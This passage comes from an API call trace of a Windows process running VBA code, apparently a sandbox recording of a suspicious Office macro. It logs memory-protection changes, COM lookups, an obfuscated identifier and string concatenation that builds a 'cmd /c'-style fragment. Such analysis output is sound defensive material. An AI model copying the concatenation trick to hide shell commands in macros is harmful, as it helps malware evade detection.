0xffffffffffffffff [0076.179] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a3a4, dwSize=0x4d) returned 1 [0076.179] VirtualProtect (in: lpAddress=0x662a3a4, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.179] GetCurrentProcess () returned 0xffffffffffffffff [0076.179] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a429, dwSize=0x8) returned 1 [0076.180] GetCurrentProcess () returned 0xffffffffffffffff [0076.180] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a428, dwSize=0x8) returned 1 [0076.180] GetCurrentProcess () returned 0xffffffffffffffff [0076.180] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a438, dwSize=0x2) returned 1 [0076.180] GetCurrentProcess () returned 0xffffffffffffffff [0076.180] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b53c, dwSize=0x4d) returned 1 [0076.180] VirtualProtect (in: lpAddress=0x662b53c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.180] GetCurrentProcess () returned 0xffffffffffffffff [0076.180] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b5c1, dwSize=0x8) returned 1 [0076.180] GetCurrentProcess () returned 0xffffffffffffffff [0076.180] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b5c0, dwSize=0x8) returned 1 [0076.180] GetCurrentProcess () returned 0xffffffffffffffff [0076.180] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b5d0, dwSize=0x2) returned 1 [0076.180] GetCurrentProcess () returned 0xffffffffffffffff [0076.180] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b624, dwSize=0x4d) returned 1 [0076.180] VirtualProtect (in: lpAddress=0x662b624, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.180] GetCurrentProcess () returned 0xffffffffffffffff [0076.180] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b6a9, dwSize=0x8) returned 1 [0076.180] GetCurrentProcess () returned 0xffffffffffffffff [0076.180] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b6a8, dwSize=0x8) returned 1 [0076.180] GetCurrentProcess () returned 0xffffffffffffffff [0076.180] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b6b8, dwSize=0x2) returned 1 [0076.180] GetCurrentProcess () returned 0xffffffffffffffff [0076.180] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627dbc, dwSize=0x4d) returned 1 [0076.180] VirtualProtect (in: lpAddress=0x6627dbc, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.180] GetCurrentProcess () returned 0xffffffffffffffff [0076.180] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627e41, dwSize=0x8) returned 1 [0076.180] GetCurrentProcess () returned 0xffffffffffffffff [0076.180] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627e40, dwSize=0x8) returned 1 [0076.180] GetCurrentProcess () returned 0xffffffffffffffff [0076.180] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627e50, dwSize=0x2) returned 1 [0076.180] GetCurrentProcess () returned 0xffffffffffffffff [0076.180] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627ea4, dwSize=0x4d) returned 1 [0076.180] VirtualProtect (in: lpAddress=0x6627ea4, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.180] GetCurrentProcess () returned 0xffffffffffffffff [0076.180] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627f29, dwSize=0x8) returned 1 [0076.180] GetCurrentProcess () returned 0xffffffffffffffff [0076.180] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627f28, dwSize=0x8) returned 1 [0076.180] GetCurrentProcess () returned 0xffffffffffffffff [0076.180] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627f38, dwSize=0x2) returned 1 [0076.180] GetCurrentProcess () returned 0xffffffffffffffff [0076.180] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b78c, dwSize=0x4d) returned 1 [0076.180] VirtualProtect (in: lpAddress=0x662b78c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.180] GetCurrentProcess () returned 0xffffffffffffffff [0076.180] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b811, dwSize=0x8) returned 1 [0076.180] GetCurrentProcess () returned 0xffffffffffffffff [0076.180] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b810, dwSize=0x8) returned 1 [0076.180] GetCurrentProcess () returned 0xffffffffffffffff [0076.180] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b820, dwSize=0x2) returned 1 [0076.181] GetCurrentProcess () returned 0xffffffffffffffff [0076.181] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b874, dwSize=0x4d) returned 1 [0076.181] VirtualProtect (in: lpAddress=0x662b874, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff64c | out: lpflOldProtect=0x1ff64c*=0x40) returned 1 [0076.181] IUnknown:AddRef (This=0xb824728) returned 0x3 [0076.181] IUnknown:QueryInterface (in: This=0xb824728, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a08 | out: ppvObject=0x200a08*=0x0) returned 0x80004002 [0076.181] IUnknown:QueryInterface (in: This=0xb824728, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a00 | out: ppvObject=0x200a00*=0x0) returned 0x80004002 [0076.181] IUnknown:Release (This=0xb824728) returned 0x2 [0076.181] IUnknown:AddRef (This=0xb824780) returned 0x6 [0076.181] IUnknown:QueryInterface (in: This=0xb824780, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a08 | out: ppvObject=0x200a08*=0x0) returned 0x80004002 [0076.181] IUnknown:QueryInterface (in: This=0xb824780, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a00 | out: ppvObject=0x200a00*=0x0) returned 0x80004002 [0076.181] IUnknown:Release (This=0xb824780) returned 0x5 [0076.181] IUnknown:AddRef (This=0xb824678) returned 0x2 [0076.181] IUnknown:QueryInterface (in: This=0xb824678, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a08 | out: ppvObject=0x200a08*=0x0) returned 0x80004002 [0076.181] IUnknown:QueryInterface (in: This=0xb824678, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a00 | out: ppvObject=0x200a00*=0x0) returned 0x80004002 [0076.181] IUnknown:Release (This=0xb824678) returned 0x1 [0076.181] IUnknown:AddRef (This=0xb934ce8) returned 0x3 [0076.181] IUnknown:QueryInterface (in: This=0xb934ce8, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a08 | out: ppvObject=0x200a08*=0x0) returned 0x80004002 [0076.181] IUnknown:QueryInterface (in: This=0xb934ce8, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a00 | out: ppvObject=0x200a00*=0x0) returned 0x80004002 [0076.181] IUnknown:Release (This=0xb934ce8) returned 0x2 [0076.181] IUnknown:AddRef (This=0xb95f138) returned 0x3 [0076.181] IUnknown:QueryInterface (in: This=0xb95f138, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a08 | out: ppvObject=0x200a08*=0x0) returned 0x80004002 [0076.181] IUnknown:QueryInterface (in: This=0xb95f138, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a00 | out: ppvObject=0x200a00*=0x0) returned 0x80004002 [0076.181] IUnknown:Release (This=0xb95f138) returned 0x2 [0076.181] IUnknown:AddRef (This=0xb9412f8) returned 0x3 [0076.181] IUnknown:QueryInterface (in: This=0xb9412f8, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a08 | out: ppvObject=0x200a08*=0x0) returned 0x80004002 [0076.181] IUnknown:QueryInterface (in: This=0xb9412f8, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a00 | out: ppvObject=0x200a00*=0x0) returned 0x80004002 [0076.181] IUnknown:Release (This=0xb9412f8) returned 0x2 [0076.181] IUnknown:AddRef (This=0xb941878) returned 0x4 [0076.181] IUnknown:QueryInterface (in: This=0xb941878, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a08 | out: ppvObject=0x200a08*=0x0) returned 0x80004002 [0076.181] IUnknown:QueryInterface (in: This=0xb941878, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200a00 | out: ppvObject=0x200a00*=0x0) returned 0x80004002 [0076.181] IUnknown:Release (This=0xb941878) returned 0x3 [0076.181] VarBstrCat (in: bstrLeft="", bstrRight="d ", pbstrResult=0x200da0 | out: pbstrResult=0x200da0) returned 0x0 [0076.181] VarBstrCat (in: bstrLeft="d ", bstrRight="/c", pbstrResult=0x200da0 | out: pbstrResult=0x200da0) returned 0x0 [0076.182] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x200d30, cbMultiByte=1, lpWideCharStr=0x66c01b8, cchWideChar=1 | out: lpWideCharStr="\"") returned 1 [0076.182] VarAdd (in: pvarLeft=0xb823e68, pvarRight=0xb823e80, pvarResult=0xb823e50 | out: pvarResult=0xb823e50) returned 0x0 [0076.182] VarAdd (in: pvarLeft=0xb824270, pvarRight=0xb824288, pvarResult=0xb824258 | out: pvarResult=0xb824258) returned 0x0 [0076.183] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792f12, cbMultiByte=4, lpWideCharStr=0x1ff470, cchWideChar=5 | out: lpWideCharStr="Now") returned 4 [0076.183] ITypeComp:RemoteBind (in: This=0x679bb90, szName="Now", lHashVal=0x10ba25, wFlags=0x3, ppTInfo=0x1ff428, pDescKind=0x1ff43c, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff428*=0xb941980, pDescKind=0x1ff43c*=1, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.183] ITypeInfo:RemoteGetTypeAttr (in: This=0xb941980, ppTypeAttr=0x1ff430, pDummy=0x1 | out: ppTypeAttr=0x1ff430, pDummy=0x1) returned 0x0 [0076.183] ITypeInfo:LocalReleaseTypeAttr (This=0xb941980) returned 0x0 [0076.183] ITypeInfo2:GetFuncIndexOfMemId (in: This=0xb941980, memid=1610612746, invkind=2, pFuncIndex=0x1ff2d0 | out: pFuncIndex=0x1ff2d0*=0xa) returned 0x0 [0076.183] ITypeInfo2:GetFuncCustData (in: This=0xb941980, index=0xa, GUID=0x7fee5f94310*(Data1=0x50867b00, Data2=0xbb69, Data3=0x11d0, Data4=([0]=0xa8, [1]=0xff, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x59)), pVarVal=0x1ff2e8 | out: pVarVal=0x1ff2e8*(varType=0x0, wReserved1=0x1f, wReserved2=0x0, wReserved3=0x0, varVal1=0xa, varVal2=0x10ba25)) returned 0x0 [0076.183] IUnknown:Release (This=0xb941980) returned 0x1 [0076.183] IUnknown:AddRef (This=0xb941980) returned 0x2 [0076.183] ITypeInfo:LocalReleaseFuncDesc (This=0xb941980) returned 0x0 [0076.183] IUnknown:Release (This=0xb941980) returned 0x1 [0076.183] IUnknown:QueryInterface (in: This=0xb941980, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff558 | out: ppvObject=0x1ff558*=0x0) returned 0x80004002 [0076.183] IUnknown:AddRef (This=0xb941980) returned 0x2 [0076.183] IUnknown:QueryInterface (in: This=0xb941980, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff4e0 | out: ppvObject=0x1ff4e0*=0x0) returned 0x80004002 [0076.183] IUnknown:QueryInterface (in: This=0xb941980, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff4b0 | out: ppvObject=0x1ff4b0*=0x0) returned 0x80004002 [0076.183] IUnknown:QueryInterface (in: This=0xb941980, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff4a0 | out: ppvObject=0x1ff4a0*=0x0) returned 0x80004002 [0076.183] IUnknown:QueryInterface (in: This=0xb941980, riid=0x7fee5f8ade8*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff4a8 | out: ppvObject=0x1ff4a8*=0x0) returned 0x80004002 [0076.183] ITypeInfo:RemoteGetTypeAttr (in: This=0xb941980, ppTypeAttr=0x1ff4d8, pDummy=0x10 | out: ppTypeAttr=0x1ff4d8, pDummy=0x10) returned 0x0 [0076.183] ITypeInfo:LocalReleaseTypeAttr (This=0xb941980) returned 0x0 [0076.183] IUnknown:AddRef (This=0xb941980) returned 0x3 [0076.183] IUnknown:Release (This=0xb941980) returned 0x2 [0076.183] IUnknown:QueryInterface (in: This=0xb941980, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff6c8 | out: ppvObject=0x1ff6c8*=0x0) returned 0x80004002 [0076.183] IUnknown:QueryInterface (in: This=0xb941980, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff6c0 | out: ppvObject=0x1ff6c0*=0x0) returned 0x80004002 [0076.183] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x1fef00, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.184] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.184] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x1fef00, pbstrName=0x0, pwOrdinal=0x1fef20 | out: pBstrDllName=0x1fef00*=0x0, pbstrName=0x0, pwOrdinal=0x1fef20*=0xf190) returned 0x0 [0076.184] ITypeInfo:RemoteGetDllEntry (in: This=0xb941980, memid=1610612746, invkind=2, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000) returned 0x0 [0076.184] IMalloc:Alloc (This=0x7fefe465380, cb=0x26d) returned 0xb899900 [0076.184] IMalloc:GetSize (This=0x7fefe465380, pv=0xb899900) returned 0x26d [0076.184] GetCurrentProcess () returned 0xffffffffffffffff [0076.184] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb899900, dwSize=0x3b) returned 1 [0076.184] IMalloc:Free (This=0x7fefe465380, pv=0xb899900) [0076.184] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5790152, cbMultiByte=6, lpWideCharStr=0x1ff470, cchWideChar=7 | out: lpWideCharStr="Array") returned 6 [0076.184] ITypeComp:RemoteBind (in: This=0x679bb90, szName="Array", lHashVal=0x109183, wFlags=0x3, ppTInfo=0x1ff428, pDescKind=0x1ff43c, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff428*=0xb941ae0, pDescKind=0x1ff43c*=1, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.184] ITypeInfo:RemoteGetTypeAttr (in: This=0xb941ae0, ppTypeAttr=0x1ff430, pDummy=0x1 | out: ppTypeAttr=0x1ff430, pDummy=0x1) returned 0x0 [0076.184] ITypeInfo:LocalReleaseTypeAttr (This=0xb941ae0) returned 0x0 [0076.190] ITypeInfo2:GetFuncIndexOfMemId (in: This=0xb941ae0, memid=1610612736, invkind=1, pFuncIndex=0x1ff2d0 | out: pFuncIndex=0x1ff2d0*=0x0) returned 0x0 [0076.190] ITypeInfo2:GetFuncCustData (in: This=0xb941ae0, index=0x0, GUID=0x7fee5f94310*(Data1=0x50867b00, Data2=0xbb69, Data3=0x11d0, Data4=([0]=0xa8, [1]=0xff, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x59)), pVarVal=0x1ff2e8 | out: pVarVal=0x1ff2e8*(varType=0x0, wReserved1=0x1f, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x109183)) returned 0x0 [0076.191] IUnknown:Release (This=0xb941ae0) returned 0x1 [0076.191] IUnknown:AddRef (This=0xb941ae0) returned 0x2 [0076.191] ITypeInfo:LocalReleaseFuncDesc (This=0xb941ae0) returned 0x0 [0076.191] IUnknown:Release (This=0xb941ae0) returned 0x1 [0076.191] IUnknown:QueryInterface (in: This=0xb941ae0, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff558 | out: ppvObject=0x1ff558*=0x0) returned 0x80004002 [0076.191] IUnknown:AddRef (This=0xb941ae0) returned 0x2 [0076.191] IUnknown:QueryInterface (in: This=0xb941ae0, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff4e0 | out: ppvObject=0x1ff4e0*=0x0) returned 0x80004002 [0076.191] IUnknown:QueryInterface (in: This=0xb941ae0, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff4b0 | out: ppvObject=0x1ff4b0*=0x0) returned 0x80004002 [0076.191] IUnknown:QueryInterface (in: This=0xb941ae0, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff4a0 | out: ppvObject=0x1ff4a0*=0x0) returned 0x80004002 [0076.191] IUnknown:QueryInterface (in: This=0xb941ae0, riid=0x7fee5f8ade8*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff4a8 | out: ppvObject=0x1ff4a8*=0x0) returned 0x80004002 [0076.191] ITypeInfo:RemoteGetTypeAttr (in: This=0xb941ae0, ppTypeAttr=0x1ff4d8, pDummy=0x10 | out: ppTypeAttr=0x1ff4d8, pDummy=0x10) returned 0x0 [0076.191] ITypeInfo:LocalReleaseTypeAttr (This=0xb941ae0) returned 0x0 [0076.191] IUnknown:AddRef (This=0xb941ae0) returned 0x3 [0076.191] IUnknown:Release (This=0xb941ae0) returned 0x2 [0076.191] IUnknown:QueryInterface (in: This=0xb941ae0, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff6c8 | out: ppvObject=0x1ff6c8*=0x0) returned 0x80004002 [0076.191] IUnknown:QueryInterface (in: This=0xb941ae0, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1ff6c0 | out: ppvObject=0x1ff6c0*=0x0) returned 0x80004002 [0076.192] ITypeInfo:RemoteGetDllEntry (in: This=0xb941ae0, memid=1610612736, invkind=1, refPtrFlags=0x1fef00, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x58a3180*=0x5380) returned 0x0 [0076.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5fb9cd0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0076.192] ITypeInfo:RemoteGetDllEntry (in: This=0xb941ae0, memid=1610612736, invkind=1, refPtrFlags=0x0, pBstrDllName=0x1fef00, pbstrName=0x0, pwOrdinal=0x1fef20 | out: pBstrDllName=0x1fef00*=0x0, pbstrName=0x0, pwOrdinal=0x1fef20*=0xf190) returned 0x0 [0076.192] ITypeInfo:RemoteGetDllEntry (in: This=0xb941ae0, memid=1610612736, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x1fef00, pwOrdinal=0x500000000) returned 0x0 [0076.192] IMalloc:Alloc (This=0x7fefe465380, cb=0x230) returned 0x6489c70 [0076.192] IMalloc:Alloc (This=0x7fefe465380, cb=0x26d) returned 0xb899900 [0076.192] IMalloc:GetSize (This=0x7fefe465380, pv=0xb899900) returned 0x26d [0076.192] IMalloc:GetSize (This=0x7fefe465380, pv=0xb899900) returned 0x26d [0076.192] GetCurrentProcess () returned 0xffffffffffffffff [0076.192] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb899900, dwSize=0x43) returned 1 [0076.192] IMalloc:Free (This=0x7fefe465380, pv=0xb899900) [0076.193] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792ee2, cbMultiByte=14, lpWideCharStr=0x1ff470, cchWideChar=15 | out: lpWideCharStr="babylongiland") returned 14 [0076.193] ITypeComp:RemoteBind (in: This=0x679bb90, szName="babylongiland", lHashVal=0x106d13, wFlags=0x5, ppTInfo=0x1ff428, pDescKind=0x1ff43c, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff428*=0x0, pDescKind=0x1ff43c*=0, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.193] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792ee2, cbMultiByte=14, lpWideCharStr=0x1ff470, cchWideChar=15 | out: lpWideCharStr="babylongiland") returned 14 [0076.193] ITypeComp:RemoteBind (in: This=0x5a48630, szName="babylongiland", lHashVal=0x106d13, wFlags=0x5, ppTInfo=0x1ff428, pDescKind=0x1ff43c, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff428*=0x0, pDescKind=0x1ff43c*=0, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.193] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792ee2, cbMultiByte=14, lpWideCharStr=0x1ff470, cchWideChar=15 | out: lpWideCharStr="babylongiland") returned 14 [0076.193] ITypeComp:RemoteBind (in: This=0x679c130, szName="babylongiland", lHashVal=0x106d13, wFlags=0x5, ppTInfo=0x1ff428, pDescKind=0x1ff43c, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff428*=0x0, pDescKind=0x1ff43c*=0, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.193] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792ee2, cbMultiByte=14, lpWideCharStr=0x1ff470, cchWideChar=15 | out: lpWideCharStr="babylongiland") returned 14 [0076.193] ITypeComp:RemoteBind (in: This=0x679c6d0, szName="babylongiland", lHashVal=0x106d13, wFlags=0x5, ppTInfo=0x1ff428, pDescKind=0x1ff43c, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff428*=0x0, pDescKind=0x1ff43c*=0, ppFuncDesc=0x1ff440, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.193] IMalloc:Alloc (This=0x7fefe465380, cb=0x15) returned 0x62ed410 [0076.193] _mbscpy_s (in: _Dst=0x62ed410, _DstSizeInBytes=0xe, _Src=0x5792ee2 | out: _Dst=0x62ed410) returned 0x0 [0076.193] 